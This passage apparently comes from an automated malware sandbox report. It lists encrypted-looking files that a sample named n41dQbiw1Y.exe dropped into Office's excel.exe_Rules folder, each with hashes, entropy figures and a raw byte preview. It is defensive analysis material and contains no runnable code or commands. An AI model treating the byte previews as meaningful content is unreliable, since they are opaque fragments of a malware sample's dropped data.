Preview:	<?xml"..l....1H...gx..q.}..q.B...5sa......9qi ...XI-O......a$.~.........B...<p..2,.M...G.....`qC0...9.._..%..ZE3.O.x,..TJ.(...f\|1.\.....9......k\|....G$..J2.."..:.....r[..S...j/..u.....<....n..x.k..)..{MC......E.d.._.i\|.$.c.v7.......9...R. .S..J...?x.....82.0..W....b..C<V_../..K..p..)......dx...y...y...#~....=6+U..pH6D..tcp.U.=.a....K...i5.......4.."...dA....!.5.x5...F.0....9^.0e...l.......<...`....yi..>./...X.\|..?.OS).../....u4...vq.a....d.Y..\|_n5.,.'...C.....0......j.U..0.G5........@:x...1(.....8L.o1......&../R..$..$..../.....3...f..]....F.+.'...gR...V.....DzA...x9.>5T_._......K..~S&bn0.aR..<..D.V.....2q..WO..$.......[).C.....:..pM...W[..\....&n0.]./.).....~..e...'m..xa....?(....-......0/....."l.....f...K.I......L...'.\K..A...N.W......+~..u.\|.6.8..W.W.....Dc..Q..y.....xj..(J5.<..q{2.Z..DS.k7.z..........R.P....Q...#..XGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270002v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.8166268311767215
Encrypted:	false
SSDEEP:	24:UbITg77FsNU33oG1b3KXCYYD8CSjS/hwSPbD:UtF6v+KQtD
MD5:	B1872AF72FF95A326371B6482FF151AC
SHA1:	AC6B18AD9A016B347F67CCD159B505EB734825A3
SHA-256:	16CC943C9DC82E166B6A5C211A28C4C0176BE7F768792B3386E6A876BE58AC52
SHA-512:	0A4AA7D2BB7AE3590B107E69B51B6AA8249741F693DBA15D8FA62BF5CBA8D457EA4E570FF95859632F7FD29CC79D1B62BC1F989929A3ECFF0D90F876CF41539A
Malicious:	false
Preview:	<?xmlK.C...yc..42.....Y. ..\k....>......;.'..J....P..r...>..xs)...........[..J.M.q.^..a.H......6....s.D.".N..$...t.....]....y...!'.k.\X...V.I..V]y>.).L.....L`Z?.o...)...$.....I....v.Y...2..N.n......{...u.;....V.3......F...G..s.'......[5..(..\|2.k..b5.)u.`....f../r...)..kP...;..A..0c.....'..@4....e-l._M].s...k.S3.-....B..J.P<....n9k..C$>..k\|).....^<.(\G.\TB.1y..O[W.z.......w...0.{,.. .$..t..)~o.r'......>.......S&.F.H...Q8.:AldZ..{....o.........2.M..@?O$..?..ZA..]. ...GA...a.....)^.3H..7..?......lE...)...h.....PT.._N...m...b..,...-h0.&....Z+.n.......u.>.Dp.L....by)h..9..1-..2...<..K..Q.J}.../....W.;...nd*.E..._D.#.._.....&......\|Y0....+...3...)..!.4...B..1/...czcQ./)...R3.....j...(/....h.u:.2.........w..Y....>i.d......N.Q{-..../M,T.x...$..... ........R...i.46~...j......D..d..Y......V.6:6.>.{5u.V.TJ..%?z..d.&'?...r...".m..T.&....y..L?.jZb..%y....?..R../..3.Y..N.M.....Rw..LJ).H..Gy.y........A..bX.\|.:...\`.....9...d.......T.&.....HgsUo.K8....b.s...Rs..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270003v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1662
Entropy (8bit):	7.870135651419421
Encrypted:	false
SSDEEP:	24:oWr9cdn9081O2YVNxGXH0oNrbipeHBCHAYoS6qXcWN5PCcjJ16FxUlXAUgod/rsF:z9a9tO2YVCXLqo/KbnKcgohgwdUD
MD5:	D8BA944D3B188C91A4B1C45D47453EEB
SHA1:	13C41B52C6367249F199D67F2D7F6E25DFD4BFF2
SHA-256:	CF032A5DE60016F0E39092D8EAC02C2A8166B67947A2C0B1923B2496CCC0143F
SHA-512:	76F23870D8273F5141406BA755431F949D654372EC4C6A71A93BFFE7C35FE45A2C65C009CDAA159D2B87B4D2583D505BFB3AC228F3FCAB51DE2D7CAE5A0BDDD5
Malicious:	false
Preview:	<?xmlD.IR...<Wu .a.l\v{..S.q..... .6Y..n9...x..a3...F$.\.8/...N......q.T.M...&Z.A..d$Jd..s].vA.@L..A:.uB..V..#..t.\|....0mMWR..M..\|.,......\|`a!e.@B.zI.<...(qo.(..\|.Z...Y.......f.........`.J]..r<..V ...<.......(..,.. .s.l.#.S...`{...HeN..5(.]]o....vT.F.G......Q..T.. ...,)...._.4..}.....gW..5..'....otz.T.._.F.E.._+..9.g..3x...-.t...o.Hg9W..&.....?a.V.........NI.2G.]....A.<......P..f..hT.....1...`.GJ...pb..n.V..PO.[....^T.x.6k...T....-..........;........j.z?fa.?Qu.A({p.8g(......Nd.^....j.J`2..I..9...."H..yn...T.../..$..S.&....+...B=..c2.7.Pd&....:6R......x.r...v...zWT-..d.4.....W.}.\|..`.R,.t.,.3.c.q..1..<.W..3....5.Cy..UI....Tg.....JS...;(.d.3..^.w.{....,.>[......................y..4&...z..9..:.[.\|.9..'u...o..7>.E.T.5q.i.u8.....=.sb.../.._..AC...'.O.......t.:.*."..6._.......jz...:l".;.n.s"....1.O46E.....)...4t.cP......o...Xw....?uJ.>0g.n....!9.k..fa.......?`t..W..t.W.Rp....`A.t..I(...DE.8./... ..m[E.4h...`..../....0..X..t..c.M.=...M/..~...."b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270004v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	831
Entropy (8bit):	7.710605890357728
Encrypted:	false
SSDEEP:	24:Kt4RJrqbIv+v48D4FYSftOfPj9je/IoEZbD:dr0vfyDlOfpS/IBZD
MD5:	E864AC873965ACFDE6CCFCAC88CE9DB3
SHA1:	A3A5385F1A0020C32B4F9C5FED374305E28E6CC0
SHA-256:	AC2422EEF7897451C6AC6ADC469D7FA3C13B9BCEBD816786A4D371D8756C84F5
SHA-512:	5E9C635B6E8C2ED72B6D956EF3D1A8391DB9E4E58FA7BE01510D89A4F0251D552FF0D4E28B45A9F5154BF4100FB3DAB26B637410DC6A3DCFFEB317E7AA4CF7D8
Malicious:	false
Preview:	<?xml.-4o.;..........3..f.S...T-.".2..;#.%X......S...8......@r.J...)rN.'..$.}..\|.......u2H....3Ac...un....a.......yuv(.o.....10..H,...\pq....f.Y-.,j..P....Q3\.9...S...i0..;AI7...0wM..r.X"."@.".D..=}...k@H...K ....=:.....8./;hH.%U....C.....;..M...t...!^.....c...O..~>..._...=l..^...4...._#.....I4.".P.Fn.....ya....P.....{.h...`E...s!P.......ac6.CJ..!u..z.YJN...O.a.\|..u7.....NxW.l....FyCP...D4..\|M...Hv..K.@/.,.v..Z....X...SR.0.g..].....XT.5.[.R.u:...a.w.'...D...E._..D..Og..q..J.RQ........t...Gs..J..Mp.....K."....D.{."?.xS.c.$?.[.... .[.,=.y.5......'4...26.N9.h...1..P}~.w%.b.9'%.E.g.R.6....745.D.GD.O.@.\|P..l....hV....-y7.v...j.......<.^:...T......!....;,.E....{....1:..(............T..........j+?.....k..rGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270005v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.863663391374212
Encrypted:	false
SSDEEP:	24:HC52hD3KJ5BlWYgX6+PYx1uM+9lltwl7E45NNHiwG0rLCGiF2dqpsjbD:HCQ13KTBlWNK+PYx1uM+gl7E4TNCAneM
MD5:	7200F83201E11CCCC62E47917A7EA327
SHA1:	AB0AC05D793BCED2EECC9DC286A7710F73B47B04
SHA-256:	D0178D85F4457219813BFBAB85DD92D5D2B25BD1223DB6D27FA309D0FABE7491
SHA-512:	015D0E93EC82D4B03AE2BC70393F4D1E01EC1C82F0A00DB96F72598BECDEFCEC922121AD10F86579744105593DA4421A7CB40BCD9E019881B6C24620C5498DE3
Malicious:	false
Preview:	<?xml.;.=.F"..<(...d..... .8.A.~9.a.sX.d..2.yI.z...{9.l..tw_.(l.D.{J..LRG..W=...Sr,..[:..s...5DN.+zN..h.C..>\.R.VK.'..D..{H.i.w/..,.]...{..(.....!r...x.#.;..`...4..R..\@X...k9...."P....}.56I......4[]...EF.m..8..{^ah....Yl..4P.JQhR.b.sMD.c.....%...v...F.....yM.t..~..Y..Y'..)G.y1~).%8%"...8.F........XHH\|.o..$../&A..-."p.W$..h.$.i.....~.`M.f.g...n$.-a...:..=\|"...x......."6..y.C...B...6..l.U$....l.N3..ao...^.2....=....^.Hw..d...2..Z.G.a.....d..0......K........:.>4._kAg...(.1...A.Q3.[6.u.n....^_.J.m%..w3.:"...~..P6.=.......g...I.B..>...K2..'...A.I?8U...5.a......$....S.O7...Z........:....L.L.l.7:.....D..j.A.Lg.i7o...gs.....U..O....(.X.~[.R...9....^.;,@..B[,.~...D..8....~a. ...HA6D.....+...../RD.,...[..l..(.Z.....T.-.....c0^.F.N1.{Y=....sOO".!.7.#.}.n.r.?nn....`H...&...7.r.u.S.vst...!...a.w."_...q....s6....Z....F.uA.2.Jx.]1S.....R.w.irH.@..@...V.5.M[...Z.?.!A.L.h.... ....^..._yY...._l.....FO.........:7..9...-..(nsx.x..Q.h.<...Q....D#..`......{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270006v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	7.90489536237395
Encrypted:	false
SSDEEP:	48:KLpdeGnSvqjo8ZIad4Z4DPXZxaKVs5XePyyZ8trrKB1D:8pnHo85e+j7JGy+tHKBN
MD5:	CF3B17FC427D17C9E01FE41E248E3015
SHA1:	8B0D6FD26E91257D7E5E997EB43A8188B573F919
SHA-256:	561398F653AD1CC185FE8AF44CC0DC5B8607EA710E42704C4ACA008E0885C0AE
SHA-512:	68D8286D7A449F13C89508DAB1C6CF93F8A41D072645EB6F61A4F474775A3919650301E0BB94D9C7758951F44C619CECD4C1963E1B40A6063DB9BEC40686B5AD
Malicious:	false
Preview:	<?xml.u/B..?..t%E/R.yK..E.1Y.;....q..(ruV.W.G.d...5.........\|..Vdl..!...qM..4..x.#....LRtL`.$.&^.>a~QM.yG.>EV..$..D...'..6B}@....^....#......0.r.....{........Ba..6....: .eNc....K.(.n....O62..^C..><...s\.=.P.g.l8.#.+#..).tR..E..f8r...\|.v]..\|..<.........\|>.KY....$D...>...VD..1HM..9A....+h..$pk ........O.6.. .....N..\|=7........#9.........":.B...C.J....7....?d3.J....kX}H{...i..Y./t?U\|.Pv.f..+....UB[.\].+p....6......h.......%QR.A"-Q?...Js.R.. ...?.rz..7......m.`\|..~.(C.w.q....Q...\....~..FD.-O.Ir.].NK...E1u..CI.8..v......O.. j..>i.[.".{.2..\....%.../....I..}D..S.(.}D........W..=r4&.b.....5..O<..QF..T.>.O..?-5..0..{K..y..`p...F}\,...R..v....)...4...}#j.8RFL.a1...Vk..i)._.nQnaKi.Q...M.3id......X........F0..?.....3}.%....?.."../$.E.8..PF...;!h8..V.X...oo...u..0..t..6*..m....7.(C(.y....E..aA..wdzL.i.sEa#.@....\|......,.....z..P......L.t.'MJ.x...:...R~Cb^.e.,.........k.c...f.ye.+....r........Y.F.\|...Tn~Op....$...[/....E..^y....z.M.....#U....P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270007v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.702061411906397
Encrypted:	false
SSDEEP:	12:H35ksvFitJ/PDrnV1kjQYgwZ2fAaZkOlWS5YPp8ewrgbMbiv8i3sTqi9RhDj/dgM:HpkmitJ/PUBZEXlWSEpe0bEivR3s5jdD
MD5:	0686DA97FC8C9D522CEE42878FC110D8
SHA1:	3A09B4E4625EF332FB2FBCE2A88CB47BCE1DAA34
SHA-256:	92F75F3DE53E55F9F2092F403F7DDAB91FAE3F5764C093DD65C8EFF28973386C
SHA-512:	5614ECA927480B49F79F9DA03C00F776F24FB5743DF3879A01B3BC53C8A1F1684C1529BAF7442ED624EE7485CAD74A5A32487D7704A6932AC995DECC27C1B6DA
Malicious:	false
Preview:	<?xml..J.j.x..R>..R..nh.....B...[......._'.&..i3WY...:{\|. )..O@...E.7....Y.W\|.<...a...&iMe...[..]0...5.....u.....[............T}..z.O...X.4.RQ..u....&..CP....g.K. >.....2...5....h..YY..N\...D....?..9...8....1.[..c..S...1F..\..x>2.`$....[.e..!%.[.....?..r..r.o..g..=>7_......h~..8...<...}TJm<v.wQ.+....:.S.U~HZ...YK..n...z....PLBj.{.wZv..bK......o.G...U./0.l.u..hz...\|...S.xD..{m..D.i.......v.......(."}82.i7.,.....b_.......,A.B.t..<\|....Z.[....S.B.c......{.6.H...<a.g2....Un...:...[..s...q,8h....t......N......>t..Kx....../g:..W.L8:.K.u.........I..ks..~..,>pDS..f..t.....9..~........,.........j..=.L)0..I.P..mz.....`.@Fn.<.f....x:L..Y..I..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270009v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.770086627153485
Encrypted:	false
SSDEEP:	12:0O8XFm+2oxMJ/BmSLN+fY9a/OL3PTlM5KpdmZCQMsKYcii9a:0pFP2oQQSLN+fY9gaKSmhvbD
MD5:	44DE91081CA5403AB9E3B91847F6CF41
SHA1:	F6CDC129561DFC44C22DEB54A83BC55A40EB2DD4
SHA-256:	5683E12C7DBD62D2F2F5822A89808A6844A1022DF3AE732F63F7195912190326
SHA-512:	1F926B80D432F212070D96184BC8D38A4612CE4E05C6495DECE99B0319ABA086D4EB3BDA0A6F0B0A9C45B06D8914ABEF8BD319C8015674FCF78884B392D9B0AB
Malicious:	false
Preview:	<?xmlP.b2u.P.U.@.A..soW..K.S;'Y.....K..Yql....", .....1.1.'..Y.8..g...&.vUDv.=.\.'..@.e\|..W H.9.#s.....:....>.I..4w..m.u\......&..... l...O.5..T./.j.^.U..%.2.uEM.D.#.......-..#I..'.j.3.jq.^.d..j.....16....Q....f.W..Q...x.U.kC`nD/.Kt.g.+b>..+.q..x..d.../.w......p...Ko...4..(..W(N.-.....K 8.VT.L.v<.....\|...X.'z......f.....jR.r.8........)........wG.Br.^Y....o9E..P.J....K.7..!H...a@..`o5......y..j..$B..E........p...d.........\|..$R...?......J.......!..E...W......aQ.A.d...&]Q..$.=...O.m..g.rkS..3.22].....,%....e.%.YC.^.B,j.Hc=x.qy.rq.^..b.a.....`S.r....:......3. .....'.....1...p.x.I....4f.\H.-.)5...7K.].S..x...v...G..`..1..tM!..O....8~.@ld8..]J.3^N.9?=...!,..._.-+<.Z......`F..#...qe....%.t..5w0.U.^w...dp.j)\.. I.\|L..5..PnGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270010v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	7.87528233373091
Encrypted:	false
SSDEEP:	48:opwHcWpaD5hVCZo0NHTsRWhNUOAZ6J49gFD:oP0aDDcZo0HTsRWvUOAQiM
MD5:	1E2CB2A548E2B7397BA034413DF3148F
SHA1:	735F4DE0A0B13506A88AE3EEC090762244000772
SHA-256:	AA9E932B7A40B4566FF2B9804AC2AD18920C20818AE7CB69056614264BE6CF28
SHA-512:	F181ABB91C1A46476027100D4BDA1A23537581359438E98AD53EF12924BDD16C9FE94CA61EFB51F69C8E3C3D33B181DC9ED777B99A8216ADF749AAA7E1BC6756
Malicious:	false
Preview:	<?xml.f....... .j6..-'..e/..K.P)E%.....CU.r.h[..I..Y.-...?.5L2.....F.....:.C^rI..`..Y.Z..FM2..b.....Plr......3....q.....)..../i.[....[G.^.O...._......E..z_-..z...O,.^.s4zR.U.OG.Y..{......[.....u=.&.\|.?3.....B@.+...\|Wd?..e...7.......X.....cF.^&."...x.Z...g..y........Vh.gE.7@..1;O..._..V..a.....6O.2....c.....-^.+a....`.\|..t/.4..Kx..S.e.:..............31..-=_..3.~...]C......x.....G:../.Y..@..{d$...RMS....zs.h.,..2\|.. K{...S#..?G.cmH ./....;<z..[.`..'.*0..;xvV.?.........>..\|.{,.&..b..H.......Y..9..%I?#....Q@.{.C...L....&l.M. .......r[....@..X....2w1....g>.&\|.......I.I..h.3......6X..C...X..>.e..R.l.>s....Bh7.$e..(.....m.)w.~....9S....7..%F.&]`F?...YV.1.......-3....7.l;.....9.....aCWR&.4.+J.........e.n.`....v..7.T..:...uK..bA&`..x#.....=tE.M.n...>.O.$E..@=5..c.w.!.&...).V{.........$.g>.C..R....l..aX.f.?...2?Y@\.........Fe.J.....i...4.2vH..Hu.-.^.D./]f.fXY..)f..X.,....&.6..9.D<A...........]......I..t. .4.z.t......(O..z...r9h....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270011v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.735701592692602
Encrypted:	false
SSDEEP:	12:W8uiuPGqhTxHGETGpq31Z0rLjAIu4jC2hkXRS9V0Mq3ZWvGjrHGl3ogrM5oYciik:RFda99ypmOLi2qXRP0mGPIvbD
MD5:	968BE47D83C00BE0549531052F57F7D7
SHA1:	D64143C28AB59F7197181DDBF24577633DB854F3
SHA-256:	9CFF3FE569D4D159AAD76E6BC04885B9C609BA5EE19825CF4E044A75167257F4
SHA-512:	61874C938AB0DDB0BF24A8CD3918FD37B6FBC1B46280CC30D7A1EE8B455A8C2B5614DC68560EAEDB7AD59D845F476ECA4C5F10A5F37A9364B2538178CA743A70
Malicious:	false
Preview:	<?xml...Z.=..$.}..=}.@..R...;...D...R2...R8..S..h.g-..(..k%..;..w8\.M...c.!A.z.p.q:...b..WY..4A~...._..<.,.s..l......T.d..."...............}.h".Rk.xP..Fg!TR.Y"x.......'....z..C..y..........y..rq.k..w@.Z]i...a.D.\|.6.......H.QNY.0..]..TIo......i....-.-.z8#q...Uq...k...O......j../....P.V...Y.`.{.......(.e.%\|......1>N/%....+a.u.O..W........]....U.#cFV.3.-......CVA)>.....o9=\|.m.+B5..P..8;..rG..J$Oukr....2.[GU...b;P.T....._1r...Z0..R.%.......L.S.....A.....4r$.2......\|P.3#,....X.~,/:.3....yb{.1e..\]m>[.......P.........v.+.t....~..0.D3...A..l.N;.p.q..X.7.{?.(.......XB.e..U.q..x{.j,.p.\|....s.9a.{..2......(...3..h..EGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270012v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.685533154492421
Encrypted:	false
SSDEEP:	12:onuu8sqR7Z6wPICatf1jBixWMboIx4xGf3GwM32oW/o7KpITREYcii9a:onuu0RUwQLFi0ioIx4YEmZQKpujbD
MD5:	E1674B35ABAED6543B051F02FD763CD7
SHA1:	0CCF21FB699FB4C83351601AC67EDE6A7DAB161A
SHA-256:	3AA163FCADB2444EB2265E5B16BADB615607DA8110DC8D81CAAE00507815B7C0
SHA-512:	F89B97DD95960D6AE728D7C07EE3FBA8174F907CFEDEDD6573504B6D1BF32C68283AA238787036C15366DA9ED5FB36FB7599EA08E16DF9114B5EEFC0E230AED7
Malicious:	false
Preview:	<?xml.....?.y+I.j\|..d.N=..`.2...8)...,wo..^'2\|@..p....%Y...E}6...GG...D...>.....V{...R.Zr.n.{bmi.c..h.E..I...l............W.......@...8s.'....}x....N8..p....T.U.......4s...Z....fyV[.K...+!Q...;E....o.0.5.{....N....Zz.R.`...x.C...d..`9\.=...-8J.b.. .l...I{8..;......rl...8D...~....S_..#y. c.9...Fo..g...gvDf.v..\..t>...#...3...>.DS..m.....#)jRHdi.-M...#WR....y_;.v....ejb...m..YT3...[.1.s.6.{g.(.3...\.}..rp..F..B,p.@...;....@'.YN..}...XQ..7nc......`..........fF.......V.\|...~.$...\|.%AgY ).qlw/..a&(.....jR...n....`....BQ.n.@5..r.y..Z.$.......4.PP......`;\Z..N.y.....?....7.k9.6..QF.y..}..5.3.l"IO4...n.....i.ba2,...}.VGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270013v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.705552271634181
Encrypted:	false
SSDEEP:	12:u6/uO3H9Pfgq04m+Xrpqz99ef2QkAAu2+3q/W3ANAk78TcICQjguGx8L4BD6EVl/:L93gqTUzm2wAz+6yANAkkcIJ0u/L4BGa
MD5:	D7CDEE44EFC7739AA5C974D2AF2E0B0B
SHA1:	68140FD8C0B60F3699096796AEA63C8C126FCF7C
SHA-256:	593AB3A78D47680B65CD43A517868D796BE31731FBCE16AEF3FDDC5A5B40BBE7
SHA-512:	86276B43B5CA7F32DB758033EB90FFC7EF3E662DDCA154E4228B568CAE96BAC800ACAA969E78D952DE8EFE2234CFE894106333F2AC9A9CC544B3740F6962AF15
Malicious:	false
Preview:	<?xmlS`M.....3.E6}.iNiko...Q..S..b..k.U...b...V......................I...)B$.P...^...{.....{9.!S.(:...#.Zm.4.d....01..0U....8.N+.!>c,.m.m....dn.e.e...3i(4....'..........W.S.+...a..^Cm\|c......\`.%.V/C7......L.5[.R..V.WW.4]...6.u....Q...5&.N..5F&%+@....Kk....,..v>...<.k..>. /......k{.c.lq...\|;.:W...\..]..1.{...p.,.....Q.}3..L...#d.]....+v....L.S.....x..nT..{~?nI....F.;..u.Y....T..@.Q....n.GN.....\/'...y;..;...l.5.@j.....V./...m>.H....P.k.t..3.#.?...F......k.V.hU5... .......r...R.;Cztq...yu.7i.7G..X...m.......-.CYgIb.L.&..G..K...6.@.B..f....M(....x.:....L%s.'.,$.2(...9.i!..iMb.5..Sl.hm..w..!.a......}...~.^@.C.:U....CP.8.E.b...w....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270014v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.723258357794901
Encrypted:	false
SSDEEP:	12:8qQM2H+C+5XPwAzpy+jG+q7njtyY4jsUbXKLzQltyD++l7Kzt01rzYuYcii9a:UM8NsXPriZ7xlAFmLQ7u+zp7bD
MD5:	5F33F73D3289F213C86A381F69722B47
SHA1:	115F05F7AE7EDE1E34CA2077B7AE3701F07E0AB9
SHA-256:	15EEBD6B25FF2ADEBEEEB7CE33CE6B2E7755BE9834D858CBEA39EE9F54C4B521
SHA-512:	E2F0BB8D31BF6E587D1147811C80A9D52938EDFCA232E8BC3DAC703302DB2CB0D6533ECE00CCD28A8CB16AB23F6934F964B9BCAFDFE534649EED18769C70B015
Malicious:	false
Preview:	<?xmlX.J.f.^...R...u..W....7>.%..FK......_.)..M..o...'.fkb.Z..T.n7...........k...S9..O.#R..d.(Ox$.-.).N....%.........<.6.~T..ty......v.$+....c..n5.S..o..%`.......6G.6....NIT8........@..H.....6....p..)lP.w.4....8...d.D..."..."z.$..p..\.F...$..~.m_".5.... ..]..2#.P...c8.x.,5.p..<....~.......=<.i...I......Y......s..P..Q.X..J.O7KPG..j.L......m...B....@2J.Zv`.M........(n..p.1.u4..Pe)v!.w.o..T.:d..xs...j.u.Z..O.z.@....#.E..>.v...A..../.b..H!.......u7..8.....0.b....}.....4.OY$Q...44o..'...e..C.aH}.-v.g.......I..O,y.....yU.:..... ..C...cPL.....h:b........dC.tW....Q."..r...N&r(5..l......d..q.7...}.'.....d@g..EH.k.!......d......Q..*..\|J.B.uu..d.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270015v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.791606749840977
Encrypted:	false
SSDEEP:	24:g+mg5HMGAW78TLmxcLxSwvRg7eHfQW5fT6AbD:g+bsGAWwTPLlJYGL6aD
MD5:	67086FE22C6DFE913AAEED0F6FADC6C0
SHA1:	C1B495348EB84A495FBCF332969EE6AA78C7E82D
SHA-256:	05C49B50639F5CA7A89E3443FFAFFE51F470DBED2F8DE680DCDA75F12B08F9EF
SHA-512:	AF7EC180E4C0F8568D1D7845D7035AE3DE2AFF01F744D79536BFE212B37BFBD55E7BB1A94E7FAA58F44972AB515FCFAAC5365E5114F70B7385C40A6CBB367D43
Malicious:	false
Preview:	<?xml...7.C...%/....no..T....Z.l..&.H....HP.v.l0M...&.vg...Bi..A.tIF.....,.....<...e..w<..._p.:D?.-.zV..'.e....dd.w.p.`O6jZL.5X&34U...[ )..p3O.A#2P.FsI.E....[7...8..2.G.+.<&...b...#..~^Q.........F.o.......%..{p...=@<...F.n.!".KLV.s..9._...]k.r.I...H=..1...Oa.N.+K...N..vP.>.}..=.._~.k.>8R.B.YB..e..'..q..lc..3...t.1....a..j_.g-.q./....sW`.c"$.R.].7.QNR_........>U.>.?.Ak^Cj....F7..\$.Y.z^. ...bu.&..f......{`Z.......?$.. Y.3.@....].p......L.........5Z.{.U..h..X..}M)6...{q.@O:..O...9....I..h...E{O..ds.........n...;..q...<.I'.r.......7....)..&...v....Q..:.Is...../8..@.q.Q....T...c.D....z.^...uR.m..B...y..&..q?....)p. .....Y(a]5.u7....%.H.....7`..)...e..7......b.....RD7V.....C$t%......\|...i......v.{.."..l?a.5b?..Y1w..g....eO.R..b.&l.........H.<.g.............w..t}.^..br$....:S'a2.<.A..mt....(..].c..:.....zv.*6F.{@.,"N5.~....q.}o.qGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270016v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	837
Entropy (8bit):	7.73654418096893
Encrypted:	false
SSDEEP:	24:YrLiCGZva6tYeCxPO/Uji2xUca8SYLuz6Vv3PI+bD:cmvvL6eCA/S+cuYV3PI8D
MD5:	19D437B59D7A99406F70F4C32F164B99
SHA1:	635F5333B7C1F3BCAAED0F631A0DCFBDB0E45BAC
SHA-256:	6CBDE636527AE9E83E3ABC2F3BB88F9EAF95ECF2A960ACD813EF8FACF6DACDC1
SHA-512:	5B45FE7D3A55757EE451751B5E88D39146D76FBCE7E8F9CFF84BF0A7175DED8BB7A5CFC49D0BDD69BB3E70E80E67182E1A459AE583078701B5E587602DA3D0A8
Malicious:	false
Preview:	<?xml8..e..z.IN....y.th>..A9....]..9.:.".#..[.,C...9..7s.!N.%l0...\|......._I4.b oK.9f..._....}.Gc.At"yA.%.C...2n..}b.4..np...~.V.v...F.B......z1..A=.$..~>7...x..W._.....V.s5....cm.-.....D4.8M_+.f...\.Bn.!....>/^...x..=..\|5..!..0.\...[.@.M....`0A..j..A....g..J.G\q...Q.h-..9y.n<.y.)......`..K.b...={.E.$.l. .\s....b..W.iE#6.P.A..........?.\lI..jV.....[DeR..4./g...d.i6R4 .u.L...K`..Q....C._[^.*m.jS.......B.......x.f....i..8......y...`...N;...F0.y.Z.x...i..3v.l.a.(.".E...fnL.,.=w...m...!.Ct.. ...X.[sY..N....n....Pp.q<1.fD........[.h]..EE......A........b.r..$..rr.>....K`......)..z2........0+R....n....9.P.&......5#.)...k8L6....>.h....8)%..M..e...a._yo.6Y..7.Z.1."p87x.-.[\|1h.:.@.,..P.3T................0e.PQ5.........X.L..9.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270017v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.743993774130034
Encrypted:	false
SSDEEP:	12:eKJ2tNz65XZlyS3WFUohzgwdZyHmzvcCiEPXPSk/a7He+fJBE+/ZKUZ4V0UlD+cE:cNz65XZwS3m91iEykCq+B5LZ4WUBIbD
